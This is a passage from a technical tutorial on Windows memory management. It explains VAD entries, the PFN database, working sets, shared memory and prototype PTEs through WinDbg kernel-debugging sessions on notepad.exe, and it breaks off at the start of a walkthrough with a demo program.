The range of addresses supported by a given VAD entry are stored as virtual
page numbers - similar to a PFN, but simply in virtual memory. This means that
an entry representing a starting VPN of 0x7f and an ending VPN of 0x8f would
actually be representing virtual memory from address 0x00000000\`0007f000 to
0x00000000\`0008ffff.  
  
There are a number of complexities of the VAD tree that are outside the scope
of this article. For example, each node in the tree can be one of three
different types depending on the state of the memory being represented. In
addition, a VAD entry may contain information about the backing PTEs for that
region of memory if that memory is shared. We will touch more on that concept
in a later section.  
  

##  Let's get physical

So we now know that Windows maintains separate paging structures for each
individual process, and some details about the different virtual memory ranges
that are defined. But the operating system also needs a central mechanism to
keep track of each individual page of physical memory. After all, it needs to
know what's stored in each physical page, whether it can write that data out
to a paging file on disk to free up memory, how many processes are using that
page for the purposes of shared memory, and plenty of other details for proper
memory management  
  
That's where the page frame number \(PFN\) database comes in. A pointer to the
base of this very large structure can be located at the symbol
nt\!MmPfnDatabase, but we know based on the kernel-mode memory ranges that it
starts at the virtual address 0xfffffa80\`00000000, except on Windows 10 where
this is subject to ASLR. \(As an aside, WinDbg has a neat extension for
dealing with the kernel ASLR in Windows 10 - \!vm 0x21 will get you the post-
KASLR regions\). For each physical page available on the system, there is an
nt\!\_MMPFN structure allocated in the database to provide details about the
page.  
  

<img src='img/tf-article2-5.png' width='640' height='484' />

_Figure 5: Each physical page in the system is represented by a PFN entry
structure in this very large, contiguous data structure._

_  
_

Though some of the bits of the nt\!\_MMPFN structure can vary depending on the
state of the page, that structure generally looks something like this:

  

1 | 0: kd> dt nt\!\_MMPFN  
---|---  
2 |  +0x000 u1 : <unnamed-tag>  
3 |  +0x008 u2 : <unnamed-tag>  
4 |  +0x010 PteAddress : Ptr64 \_MMPTE  
5 |  +0x010 VolatilePteAddress : Ptr64 Void  
6 |  +0x010 Lock : Int4B  
7 |  +0x010 PteLong : Uint8B  
8 |  +0x018 u3 : <unnamed-tag>  
9 |  +0x01c UsedPageTableEntries : Uint2B  
10 |  +0x01e VaType : UChar  
11 |  +0x01f ViewCount : UChar  
12 |  +0x020 OriginalPte : \_MMPTE  
13 |  +0x020 AweReferenceCount : Int4B  
14 |  +0x028 u4 : <unnamed-tag>  
view raw tf-article2-windbg-7.txt hosted with ❤ by GitHub

  

A page represented in the PFN database can be in a number of different states.
The state of the page will determine what the memory manager does with the
contents of that page.  
  
We won't be focusing on the different states too much in this article, but
there are a few of them: active, transition, modified, free, and bad, to name
several. It is definitely worth mentioning that for efficiency reasons,
Windows manages linked lists that are comprised of all of the nt\!\_MMPFN
entries that are in a specific state. This makes it much easier to traverse
all pages that are in a specific state, rather than having to walk the entire
PFN database. For example, it can allow the memory manager to quickly locate
all of the free pages when memory needs to be paged in from disk.  
  

<img src='img/tf-article2-6.png' width='640' height='484' />

_Figure 6: Different linked lists make it easier to walk the PFN database
according to the state of the pages, e.g. walk all of the free pages
contiguously._

  
Another purpose of the PFN database is to help facilitate the translation of
physical addresses back to their corresponding virtual addresses. Windows uses
the PFN database to accomplish this during calls such as
nt\!MmGetVirtualForPhysical. While it is technically possible to search all of
the paging structures for every process on the system in order to work
backwards up the paging structures to get the original virtual address, the
fact that the nt\!\_MMPFN structure contains a reference to the backing PTE
coupled with some clever allocation rules by Microsoft allow them to easily
convert back to a virtual address using the PTE and some bit shifting.  
  
For a little bit of practical experience exploring the PFN database, let's
find a region of memory in notepad.exe that we can take a look at. One area of
memory that could be of interest is the entry point of our application. We can
use the \!dh command to display the PE header information associated with a
given module in order to track down the address of the entry point.  
  
Because we've switched into a user-mode context in one of our previous
examples, WinDbg will require us to reload our symbols so that it can make
sense of everything again. We can do that using the .reload /f command. Then
we can look at notepad.exe's headers:  
  

1 | 6: kd> \!dh notepad.exe  
---|---  
2 |   
3 | File Type: EXECUTABLE IMAGE  
4 | FILE HEADER VALUES  
5 |  8664 machine \(X64\)  
6 |  6 number of sections  
7 | 559EA8BE time date stamp Thu Jul 9 10:00:46 2015  
8 |   
9 |  0 file pointer to symbol table  
10 |  0 number of symbols  
11 |  F0 size of optional header  
12 |  22 characteristics  
13 |  Executable  
14 |  App can handle >2gb addresses  
15 |   
16 | OPTIONAL HEADER VALUES  
17 |  20B magic \#  
18 |  9.00 linker version  
19 |  A800 size of code  
20 |  25800 size of initialized data  
21 |  0 size of uninitialized data  
22 |  3ACC address of entry point  
23 |  1000 base of code  
24 |  \----- new -----  
25 | 00000000ffd50000 image base  
26 |  1000 section alignment  
27 |  200 file alignment  
28 |  2 subsystem \(Windows GUI\)  
29 |  6.01 operating system version  
30 |  6.01 image version  
31 |  6.01 subsystem version  
32 |  35000 size of image  
33 |  600 size of headers  
34 |  36DA2 checksum  
35 | 0000000000080000 size of stack reserve  
36 | 0000000000011000 size of stack commit  
37 | 0000000000100000 size of heap reserve  
38 | 0000000000001000 size of heap commit  
39 |  8140 DLL characteristics  
40 |  Dynamic base  
41 |  NX compatible  
42 |  Terminal server aware  
43 |  0 \[ 0\] address \[size\] of Export Directory  
44 |  CFF8 \[ 12C\] address \[size\] of Import Directory  
45 |  14000 \[ 1F168\] address \[size\] of Resource Directory  
46 |  13000 \[ 6B4\] address \[size\] of Exception Directory  
47 |  0 \[ 0\] address \[size\] of Security Directory  
48 |  34000 \[ B8\] address \[size\] of Base Relocation Directory  
49 |  B740 \[ 38\] address \[size\] of Debug Directory  
50 |  0 \[ 0\] address \[size\] of Description Directory  
51 |  0 \[ 0\] address \[size\] of Special Directory  
52 |  0 \[ 0\] address \[size\] of Thread Storage Directory  
53 |  0 \[ 0\] address \[size\] of Load Configuration Directory  
54 |  2E0 \[ 138\] address \[size\] of Bound Import Directory  
55 |  C000 \[ 7F0\] address \[size\] of Import Address Table Directory  
56 |  0 \[ 0\] address \[size\] of Delay Import Directory  
57 |  0 \[ 0\] address \[size\] of COR20 Header Directory  
58 |  0 \[ 0\] address \[size\] of Reserved Directory  
59 | …  
view raw tf-article2-windbg-8.txt hosted with ❤ by GitHub

  
Again, the output is quite verbose, so the section information at the bottom
is omitted from the above snippet. We're interested in the address of entry
point member of the optional header, which is listed as 0x3acc. That value is
called a relative virtual address \(RVA\), and it's the number of bytes from
the base address of the notepad.exe image. If we add that relative address to
the base of notepad.exe, we should see the code located at our entry point.  
  

1 | 6: kd> u notepad.exe + 0x3acc L10  
---|---  
2 | notepad\!WinMainCRTStartup:  
3 | 00000000\`ffd53acc 4883ec28 sub rsp,28h  
4 | 00000000\`ffd53ad0 e80bf3ffff call notepad\!\_security\_init\_cookie \(00000000\`ffd52de0\)  
5 | 00000000\`ffd53ad5 4883c428 add rsp,28h  
6 | 00000000\`ffd53ad9 eb09 jmp notepad\!DisplayNonGenuineDlgWorker+0x14c \(00000000\`ffd53ae4\)  
7 | 00000000\`ffd53adb 90 nop  
8 | 00000000\`ffd53adc 90 nop  
9 | 00000000\`ffd53add 90 nop  
10 | 00000000\`ffd53ade 90 nop  
11 | 00000000\`ffd53adf 90 nop  
12 | 00000000\`ffd53ae0 90 nop  
13 | 00000000\`ffd53ae1 90 nop  
14 | 00000000\`ffd53ae2 90 nop  
15 | 00000000\`ffd53ae3 90 nop  
16 | 00000000\`ffd53ae4 4889742408 mov qword ptr \[rsp+8\],rsi  
17 | 00000000\`ffd53ae9 48897c2410 mov qword ptr \[rsp+10h\],rdi  
18 | 00000000\`ffd53aee 4154 push r12  
view raw tf-article2-windbg-9.txt hosted with ❤ by GitHub

  
And we do see that the address resolves to notepad\!WinMainCRTStartup, like we
expected. Now we have the address of our target process' entry point:
00000000\`ffd53acc.  
  
While the above steps were a handy exercise in digging through parts of a
loaded image, they weren't actually necessary since we had symbols loaded. We
could have simply used the ? qualifier in combination with the symbol
notepad\!WinMainCRTStartup, as demonstrated below, or gotten the value of a
handy pseudo-register that represents the entry point with r $exentry.  

  

1 | 6: kd> ? notepad\!WinMainCRTStartup  
---|---  
2 | Evaluate expression: 4292164300 = 00000000\`ffd53acc  
view raw tf-article2-windbg-10.txt hosted with ❤ by GitHub

  
In any case, we now have the address of our entry point, which from here on
we'll refer to as our “target” or the “target page”. We can now start taking a
look at the different paging structures that support our target, as well as
the PFN database entry for it.  
  
Let's first take a look at the PFN database. We know the virtual address where
this structure is supposed to start, but let's look for it the long way,
anyway. We can easily find the beginning of this structure by using the ?
qualifier and poi on the symbol name. The poi command treats its parameter as
a pointer and retrieves the value located at that pointer.

  

1 | 6: kd> ? poi\(nt\!MmPfnDatabase\)  
---|---  
2 | Evaluate expression: -6047313952768 = fffffa80\`00000000  
view raw tf-article2-windbg-11.txt hosted with ❤ by GitHub

  

Knowing that the PFN database begins at 0xfffffa80\`00000000, we should be
able to index easily to the entry that represents our target page. First we
need to figure out the page frame number in physical memory that the target's
PTE refers to, and then we can index into the PFN database by that number.  
  
Looking back on what we learned from the previous article, we can grab the PTE
information about the target page very easily using the handy \!pte command.  
  

1 | 6: kd> \!pte 00000000\`ffd53acc  
---|---  
2 |  VA 00000000ffd53acc  
3 | PXE at FFFFF6FB7DBED000 PPE at FFFFF6FB7DA00018 PDE at FFFFF6FB40003FF0 PTE at FFFFF680007FEA98  
4 | contains 02D0000654195867 contains 4D00000654D16867 contains 02F0000654D97867 contains 32C000065207B025  
5 | pfn 654195 ---DA--UWEV pfn 654d16 ---DA--UWEV pfn 654d97 ---DA--UWEV pfn 65207b ----A--UREV  
view raw tf-article2-windbg-12.txt hosted with ❤ by GitHub

  
The above result would indicate that the backing page frame number for the
target is 0x65207b. That should be the index into the PFN database that we'll
need to use. Remember that we'll need to multiply that index by the size of an
nt\!\_MMPFN structure, since we're essentially trying to skip that many PFN
entries.  
  

1 | 6: kd> ?? sizeof\(nt\!\_MMPFN\)  
---|---  
2 | unsigned int64 0x30  
3 | 6: kd> dt \!\_MMPFN \(0xfffffa80\`00000000 + \(0x65207b \* 0x30\)\)  
4 | nt\!\_MMPFN  
5 |  +0x000 u1 : <unnamed-tag>  
6 |  +0x008 u2 : <unnamed-tag>  
7 |  +0x010 PteAddress : 0xfffff8a0\`09e25a00 \_MMPTE  
8 |  +0x010 VolatilePteAddress : 0xfffff8a0\`09e25a00 Void  
9 |  +0x010 Lock : 0n165829120  
10 |  +0x010 PteLong : 0xfffff8a0\`09e25a00  
11 |  +0x018 u3 : <unnamed-tag>  
12 |  +0x01c UsedPageTableEntries : 0  
13 |  +0x01e VaType : 0 ''  
14 |  +0x01f ViewCount : 0 ''  
15 |  +0x020 OriginalPte : \_MMPTE  
16 |  +0x020 AweReferenceCount : 0n-333970336  
17 |  +0x028 u4 : <unnamed-tag>  
view raw tf-article2-windbg-13.txt hosted with ❤ by GitHub

  
This looks like a valid PFN entry. We can verify that we've done everything
correctly by first doing the manual calculation to figure out what the address
of the PFN entry should be, and then comparing it to where WinDbg thinks it
should be.  
  

1 | 6: kd> ? \(0xfffffa80\`00000000 + \(0x65207b \* 0x30\)\)  
---|---  
2 | Evaluate expression: -6046995835120 = fffffa80\`12f61710  
view raw tf-article2-windbg-14.txt hosted with ❤ by GitHub

  
So based on the above, we know that the nt\!\_MMPFN entry for the page we're
interested in it should be located at 0xfffffa80\`12f61710, and we can use a
nice shortcut to verify if we're correct. As always in WinDbg, there is an
easier way to obtain information from the PFN database. This can be done by
using the \!pfn command with the page frame number.  
  

1 | 6: kd> \!pfn 0x65207b  
---|---  
2 |  PFN 0065207B at address FFFFFA8012F61710  
3 |  flink 0000032C blink / share count 00000001 pteaddress FFFFF8A009E25A00  
4 |  reference count 0001 used entry count 0000 Cached color 0 Priority 1  
5 |  restore pte FA80194CEC180460 containing page 693603 Active P   
6 |  Shared   
view raw tf-article2-windbg-15.txt hosted with ❤ by GitHub

  
Here we can see that WinDbg also indicates that the PFN entry is at
0xfffffa8012f61710, just like our calculation, so it looks like we did that
correctly.  
  

##  An interlude about working sets

Phew - we've done some digging around in the PFN database now, and we've seen
how each entry in that database stores some information about the physical
page itself. Let's take a step back for a moment, back into the world of
virtual memory, and talk about working sets.  
  
Each process has what's called a working set, which represents all of the
process' virtual memory that is subject to paging and is accessible without
incurring a page fault. Some parts of the process' memory may be paged to disk
in order to free up RAM, or in a transition state, and therefore accessing
those regions of memory will generate a page fault within that process. In
layman's terms, a page fault is essentially the architecture indicating that
it can't access the specified virtual memory, because the PTEs needed for
translation weren't found inside the paging structures, or because the
permissions on the PTEs restrict what the application is attempting to do.
When a page fault occurs, the page fault handler must resolve it by adding the
page back into the process' working set \(meaning it also gets added back into
the process' paging structures\), mapping the page back into memory from disk
and then adding it back to the working set, or indicating that the page being
accessed is invalid.

  

<img src='img/tf-article2-7.png' width='640' height='484' />

_Figure 7: An example working set of a process, where some rarely accessed
pages were paged out to disk to free up physical memory._

  
It should be noted that other regions of virtual memory may be accessible to
the process which do not appear in the working set, such as Address Windowing
Extensions \(AWE\) mappings or large pages; however, for the purposes of this
article we will be focusing on memory that is part of the working set.  
  
Occasionally, Windows will trim the working set of a process in response to
\(or to avoid\) memory pressure on the system, ensuring there is memory
available for other processes.  
  
If the working set of a process is trimmed, the pages being trimmed have their
backing PTEs marked as “not valid” and are put into a transition state while
they await being paged to disk or given away to another process. In the case
of a “soft” page fault, the page described by the PTE is actually still
resident in physical memory, and the page fault handler can simply mark the
PTE as valid again and resolve the fault efficiently. Otherwise, in the case
of a “hard” page fault, the page fault handler needs to fetch the contents of
the page from the paging file on disk before marking the PTE as valid again.
If this kind of fault occurs, the page fault handler will likely also have to
alter the page frame number that the PTE refers to, since the page isn't
likely to be loaded back into the same location in physical memory that it
previously resided in.  
  

##  Sharing is caring

It's important to remember that while two processes do have different paging
structures that map their virtual memory to different parts of physical
memory, there can be portions of their virtual memory which map to the same
physical memory. This concept is called shared memory, and it's actually quite
common within Windows. In fact, even in our previous example with
notepad.exe's entry point, the page of memory we looked at was shared.
Examples of regions in memory that are shared are system modules, shared
libraries, and files that are mapped into memory with CreateFileMapping\(\)
and MapViewOfFile\(\).  
  
In addition, the kernel-mode portion of a process' memory will also point to
the same shared physical memory as other processes, because a shared view of
the kernel is typically mapped into every process. Despite the fact that a
view of the kernel is mapped into their memory, user-mode applications will
not be able to access pages of kernel-mode memory as Windows sets the
UserSupervisor bit in the kernel-mode PTEs. The hardware uses this bit to
enforce ring0-only access to those pages.  
  

<img src='img/tf-article2-8.png' width='640' height='485' />

_Figure 8: Two processes may have different views of their user space virtual
memory, but they get a shared view of the kernel space virtual memory._

  
In the case of memory that is not shared between processes, the PFN database
entry for that page of memory will point to the appropriate PTE in the process
that owns that memory.  
  

<img src='img/tf-article2-9.png' width='640' height='484' />

_Figure 9: When not sharing memory, each process will have PTE for a given
page, and that PTE will point to a unique member of the PFN database._

  
When dealing with memory that is shareable, Windows creates a kind of global
PTE - known as a prototype PTE - for each page of the shared memory. This
prototype always represents the real state of the physical memory for the
shared page. If marked as Valid, this prototype PTE can act as a hardware PTE
just as in any other case. If marked as Not Valid, the prototype will indicate
to the page fault handler that the memory needs to be paged back in from disk.
When a prototype PTE exists for a given page of memory, the PFN database entry
for that page will always point to the prototype PTE.  
  

<img src='img/tf-article2-10.png' width='640' height='484' />

_Figure 10: Even though both processes still have a valid PTE pointing to
their shared memory, Windows has created a prototype PTE which points to the
PFN entry, and the PFN entry now points to the prototype PTE instead of a
specific process._

  
Why would Windows create this special PTE for shared memory? Well, imagine for
a moment that in one of the processes, the PTE that describes a shared memory
location is stripped out of the process' working set. If the process then
tries to access that memory, the page fault handler sees that the PTE has been
marked as Not Valid, but it has no idea whether that shared page is still
resident in physical memory or not.  
  
For this, it uses the prototype PTE. When the PTE for the shared page within
the process is marked as Not Valid, the Prototype bit is also set and the page
frame number is set to the location of the prototype PTE for that page.

  

<img src='img/tf-article2-11.png' width='640' height='484' />

_Figure 11: One of the processes no longer has a valid PTE for the shared
memory, so Windows instead uses the prototype PTE to ascertain the true state
of the physical page._

  

This way, the page fault handler is able to examine the prototype PTE to see
if the physical page is still valid and resident or not. If it is still
resident, then the page fault handler can simply mark the process' version of
the PTE as valid again, resolving the soft fault. If the prototype PTE
indicates it is Not Valid, then the page fault handler must fetch the page
from disk.

  

We can continue our adventures in WinDbg to explore this further, as it can be
a tricky concept. Based on what we know about shared memory, that should mean
that the PTE referenced by the PFN entry for the entry point of notepad.exe is
a prototype PTE. We can already see that it's a different address
\(0xfffff8a0\`09e25a00\) than the PTE that we were expecting from the \!pte
command \(0xfffff680007fea98\). Let's look at the fully expanded nt\!\_MMPTE
structure that's being referenced in the PFN entry.

  

1 | 6: kd> dt \!\_MMPTE 0xfffff8a0\`09e25a00 -b  
---|---  
2 | nt\!\_MMPTE  
3 |  +0x000 u : <unnamed-tag>  
4 |  +0x000 Long : 0x00000006\`5207b121  
5 |  +0x000 VolatileLong : 0x00000006\`5207b121  
6 |  +0x000 Hard : \_MMPTE\_HARDWARE  
7 |  +0x000 Valid : 0y1  
8 |  +0x000 Dirty1 : 0y0  
9 |  +0x000 Owner : 0y0  
10 |  +0x000 WriteThrough : 0y0  
11 |  +0x000 CacheDisable : 0y0  
12 |  +0x000 Accessed : 0y1  
13 |  +0x000 Dirty : 0y0  
14 |  +0x000 LargePage : 0y0  
15 |  +0x000 Global : 0y1  
16 |  +0x000 CopyOnWrite : 0y0  
17 |  +0x000 Unused : 0y0  
18 |  +0x000 Write : 0y0  
19 |  +0x000 PageFrameNumber : 0y000000000000011001010010000001111011 \(0x65207b\)  
20 |  +0x000 reserved1 : 0y0000  
21 |  +0x000 SoftwareWsIndex : 0y00000000000 \(0\)  
22 |  +0x000 NoExecute : 0y0  
23 | ...  
24 |  +0x000 Proto : \_MMPTE\_PROTOTYPE  
25 |  +0x000 Valid : 0y1  
26 |  +0x000 Unused0 : 0y0010000 \(0x10\)  
27 |  +0x000 ReadOnly : 0y1  
28 |  +0x000 Unused1 : 0y0  
29 |  +0x000 Prototype : 0y0  
30 |  +0x000 Protection : 0y10110 \(0x16\)  
31 |  +0x000 ProtoAddress : 0y000000000000000000000000000001100101001000000111 \(0x65207\)  
32 | ...  
view raw tf-article2-windbg-16.txt hosted with ❤ by GitHub

  

We can compare that with the nt\!\_MMPTE entry that was referenced when we did
the \!pte command on notepad.exe's entry point.

  

1 | 6: kd> dt nt\!\_MMPTE 0xfffff680007fea98 -b  
---|---  
2 |  +0x000 u : <unnamed-tag>  
3 |  +0x000 Long : 0x32c00006\`5207b025  
4 |  +0x000 VolatileLong : 0x32c00006\`5207b025  
5 |  +0x000 Hard : \_MMPTE\_HARDWARE  
6 |  +0x000 Valid : 0y1  
7 |  +0x000 Dirty1 : 0y0  
8 |  +0x000 Owner : 0y1  
9 |  +0x000 WriteThrough : 0y0  
10 |  +0x000 CacheDisable : 0y0  
11 |  +0x000 Accessed : 0y1  
12 |  +0x000 Dirty : 0y0  
13 |  +0x000 LargePage : 0y0  
14 |  +0x000 Global : 0y0  
15 |  +0x000 CopyOnWrite : 0y0  
16 |  +0x000 Unused : 0y0  
17 |  +0x000 Write : 0y0  
18 |  +0x000 PageFrameNumber : 0y000000000000011001010010000001111011 \(0x65207b\)  
19 |  +0x000 reserved1 : 0y0000  
20 |  +0x000 SoftwareWsIndex : 0y01100101100 \(0x32c\)  
21 |  +0x000 NoExecute : 0y0  
22 | ...  
23 |  +0x000 Proto : \_MMPTE\_PROTOTYPE  
24 |  +0x000 Valid : 0y1  
25 |  +0x000 Unused0 : 0y0010010 \(0x12\)  
26 |  +0x000 ReadOnly : 0y0  
27 |  +0x000 Unused1 : 0y0  
28 |  +0x000 Prototype : 0y0  
29 |  +0x000 Protection : 0y10110 \(0x16\)  
30 |  +0x000 ProtoAddress : 0y001100101100000000000000000001100101001000000111 \(0x32c000065207\)  
31 | ...  
view raw tf-article2-windbg-17.txt hosted with ❤ by GitHub

  
It looks like the Prototype bit is not set on either of them, and they're both
valid. This makes perfect sense. The shared page still belongs to
notepad.exe's working set, so the PTE in the process' paging structures is
still valid; however, the operating system has proactively allocated a
prototype PTE for it because the memory may be shared at some point and the
state of the page will need to be tracked with the prototype PTE. The
notepad.exe paging structures also point to a valid hardware PTE, just not the
same one as the PFN database entry.  
  
The same isn't true for a region of memory that can't be shared. For example,
if we choose another memory location that was allocated as MEM\_PRIVATE, we
will not see the same results. We can use the \!vad command to give us all of
the virtual address regions \(listed by virtual page frame\) that are mapped
by the current process.

  

1 | 6: kd> \!vad  
---|---  
2 | VAD Level Start End Commit  
3 | fffffa8019785170 5 10 1f 0 Mapped READWRITE Pagefile section, shared commit 0x10  
4 | fffffa8019229650 4 20 26 0 Mapped READONLY Pagefile section, shared commit 0x7  
5 | fffffa802aec35c0 5 30 33 0 Mapped READONLY Pagefile section, shared commit 0x4  
6 | fffffa80291085a0 3 40 41 0 Mapped READONLY Pagefile section, shared commit 0x2  
7 | fffffa802b25c180 5 50 50 1 Private READWRITE   
8 | fffffa802b0b8940 4 60 c6 0 Mapped READONLY \Windows\System32\locale.nls  
9 | fffffa8019544940 5 d0 d1 0 Mapped READWRITE Pagefile section, shared commit 0x2  
10 | fffffa80193c5570 2 e0 e2 3 Mapped WRITECOPY \Windows\System32\en-US\notepad.exe.mui  
11 | fffffa802b499e00 5 f0 f0 1 Private READWRITE   
12 | fffffa802b4a6160 4 100 100 1 Private READWRITE   
13 | fffffa801954d3a0 5 110 110 0 Mapped READWRITE Pagefile section, shared commit 0x1  
14 | fffffa80197cf8c0 3 120 121 0 Mapped READONLY Pagefile section, shared commit 0x2  
15 | fffffa802b158240 4 160 16f 2 Private READWRITE   
16 | fffffa802b24f180 1 1a0 21f 20 Private READWRITE   
17 | fffffa802b1fc680 6 220 31f 104 Private READWRITE   
18 | fffffa802b44d110 5 320 41f 146 Private READWRITE   
19 | fffffa802910ece0 6 420 4fe 0 Mapped READONLY Pagefile section, shared commit 0xdf  
20 | fffffa802b354c60 4 540 54f 7 Private READWRITE   
21 | fffffa8029106660 6 550 6d7 0 Mapped READONLY Pagefile section, shared commit 0x6  
22 | fffffa802b4738b0 5 6e0 860 0 Mapped READONLY Pagefile section, shared commit 0x181  
23 | fffffa802942ea30 6 870 1c6f 0 Mapped READONLY Pagefile section, shared commit 0x23  
24 | fffffa802b242260 3 1cf0 1d6f 28 Private READWRITE   
25 | fffffa802aa66d60 5 1e10 1e8f 113 Private READWRITE   
26 | fffffa8019499560 4 3030 395f 0 Mapped READONLY \Windows\Fonts\StaticCache.dat  
27 | fffffa8019246370 5 3960 3c2e 0 Mapped READONLY \Windows\Globalization\Sorting\SortDefault.nls  
28 | fffffa802b184c50 6 3c30 3d2f 1 Private READWRITE   
29 | fffffa802b45f180 2 77420 77519 3 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\user32.dll  
30 | fffffa80192afa20 4 77520 7763e 4 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\kernel32.dll  
31 | fffffa802a8ba9c0 3 77640 777e9 14 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\ntdll.dll  
32 | fffffa802910a440 5 7efe0 7f0df 0 Mapped READONLY Pagefile section, shared commit 0x5  
33 | fffffa802b26d180 4 7f0e0 7ffdf 0 Private READONLY   
34 | fffffa802b4cb160 0 7ffe0 7ffef -1 Private READONLY   
35 | fffffa802b4e60d0 5 ffd50 ffd84 4 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\notepad.exe  
36 | fffffa801978d170 4 7fefa530 7fefa5a0 3 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\winspool.drv  
37 | fffffa80197e0970 5 7fefaab0 7fefab05 4 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\uxtheme.dll  
38 | fffffa802a6d9720 6 7fefafd0 7fefafe7 5 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\dwmapi.dll  
39 | fffffa80197ecc50 3 7fefb390 7fefb583 6 Mapped Exe EXECUTE\_WRITECOPY \Windows\winsxs\amd64\_microsoft.windows.common-controls\_6595b64144ccf1df\_6.0.7601.18837\_none\_fa3b1e3d17594757\comctl32.dll  
40 | fffffa802a91e010 5 7fefc3c0 7fefc3cb 2 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\version.dll  
41 | fffffa80197cb010 6 7fefd1d0 7fefd1de 2 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\cryptbase.dll  
42 | fffffa80290fe9c0 4 7fefd440 7fefd4a9 3 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\KernelBase.dll  
43 | fffffa8029109e30 5 7fefd6f0 7fefd6fd 2 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\lpk.dll  
44 | fffffa8029522520 6 7fefd720 7fefd74d 3 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\imm32.dll  
45 | fffffa802910bce0 2 7fefd800 7fefd8da 7 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\advapi32.dll  
46 | fffffa80290d9500 5 7fefd8e0 7fefdadb 9 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\ole32.dll  
47 | fffffa802af4a0c0 4 7fefdae0 7fefe86a 13 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\shell32.dll  
48 | fffffa8019787170 5 7fefea50 7fefea6e 4 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\sechost.dll  
49 | fffffa802a6e8010 3 7fefeda0 7fefee36 6 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\comdlg32.dll  
50 | fffffa802a6ae010 5 7fefee50 7fefef58 4 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\msctf.dll  
51 | fffffa802910dac0 4 7feff0f0 7feff21c 3 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\rpcrt4.dll  
52 | fffffa801948e940 1 7feff2a0 7feff33e 7 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\msvcrt.dll  
53 | fffffa802aac1010 5 7feff340 7feff3b0 3 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\shlwapi.dll  
54 | fffffa8029156010 4 7feff3c0 7feff48a 4 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\usp10.dll  
55 | fffffa801956e170 5 7feff800 7feff8d9 4 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\oleaut32.dll  
56 | fffffa8019789170 3 7feff8e0 7feff946 3 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\gdi32.dll  
57 | fffffa801958e170 4 7feff960 7feff960 0 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\apisetschema.dll  
58 | fffffa80290f3c10 2 7fffffb0 7fffffd2 0 Mapped READONLY Pagefile section, shared commit 0x23  
59 | fffffa802af28110 3 7fffffd5 7fffffd5 1 Private READWRITE   
60 | fffffa802a714a30 4 7fffffde 7fffffdf 2 Private READWRITE   
61 |   
62 | Total VADs: 58, average level: 5, maximum depth: 6  
63 | Total private commit: 0x228 pages \(2208 KB\)  
64 | Total shared commit: 0x2d3 pages \(2892 KB\)  
view raw tf-article2-windbg-18.txt hosted with ❤ by GitHub

  

We can take a look at a MEM\_PRIVATE page, such as 0x1cf0, and see if the PTE
from the process' paging structures matches the PTE from the PFN database.  
  

1 | 6: kd> ? 1cf0 \* 0x1000  
---|---  
2 | Evaluate expression: 30343168 = 00000000\`01cf0000  
3 | 6: kd> \!pte 00000000\`01cf0000  
4 |  VA 0000000001cf0000  
5 | PXE at FFFFF6FB7DBED000 PPE at FFFFF6FB7DA00000 PDE at FFFFF6FB40000070 PTE at FFFFF6800000E780  
6 | contains 02D0000654195867 contains 0320000656E18867 contains 4F20000653448867 contains CF30000651EC9867  
7 | pfn 654195 ---DA--UWEV pfn 656e18 ---DA--UWEV pfn 653448 ---DA--UWEV pfn 651ec9 ---DA--UW-V  
8 |   
9 | 6: kd> \!pfn 651ec9   
10 |  PFN 00651EC9 at address FFFFFA8012F5C5B0  
11 |  flink 000004F3 blink / share count 00000001 pteaddress FFFFF6800000E780  
12 |  reference count 0001 used entry count 0000 Cached color 0 Priority 5  
13 |  restore pte 00000080 containing page 653448 Active M   
14 |  Modified   
view raw tf-article2-windbg-19.txt hosted with ❤ by GitHub

  
As we can see, it does match, with both addresses referring to
0xfffff680\`0000e780. Because this memory is not shareable, the process'
paging structures are able to manage the hardware PTE directly. In the case of
shareable pages allocated with MEM\_MAPPED, though, the PFN database maintains
its own copy of the PTE.  
  
It's worth exploring different regions of memory this way, just to see how the
paging structures and PFN entries are set up in different cases. As mentioned
above, the VAD tree is another important consideration when dealing with user-
mode memory as in many cases, it will actually be a VAD node which indicates
where the prototype PTE for a given shared memory region resides. In these
cases, the page fault handler will need to refer to the process' VAD tree and
walk the tree until it finds the node responsible for the shared memory
region.  
  

<img src='img/tf-article2-12.png' width='640' height='484' />

_Figure 12: If the invalid PTE points to the process' VAD tree, a VAD walk
must be performed to locate the appropriate \_MMVAD node that represents the
given virtual memory._

  
The FirstPrototypePte member of the VAD node will indicate the starting
virtual address of a region of memory that contains prototype PTEs for each
shared page in the region. The list of prototype PTEs is terminated with the
LastContiguousPte member of the VAD node. The page fault handler must then
walk this list of prototype PTEs to find the PTE that backs the specific page
that has faulted.  
  

<img src='img/tf-article2-13.png' width='640' height='484' />

_Figure 13: The FirstPrototypePte member of the VAD node points to a region of
memory that has a contiguous block of prototype PTEs that represent shared
memory within that virtual address range._

  

##  One more example to bring it all together

It would be helpful to walk through each of these scenarios with a program
that we control, and that we can change, if needed. That's precisely what
we're going to do with the memdemo project. You can follow along by compiling
the application yourself, or you can simply take a look at the code snippets
that will be posted throughout this example.  
  
To start off, we'll load our memdemo.exe and then attach the kernel debugger.
We then need to get a list of processes that are currently running on the
system.

  

1 | kd> \!process 0 0  
---|---  
2 | \*\*\*\* NT ACTIVE PROCESS DUMP \*\*\*\*  
3 | PROCESS ffffa50dcea99040  
4 |  SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000  
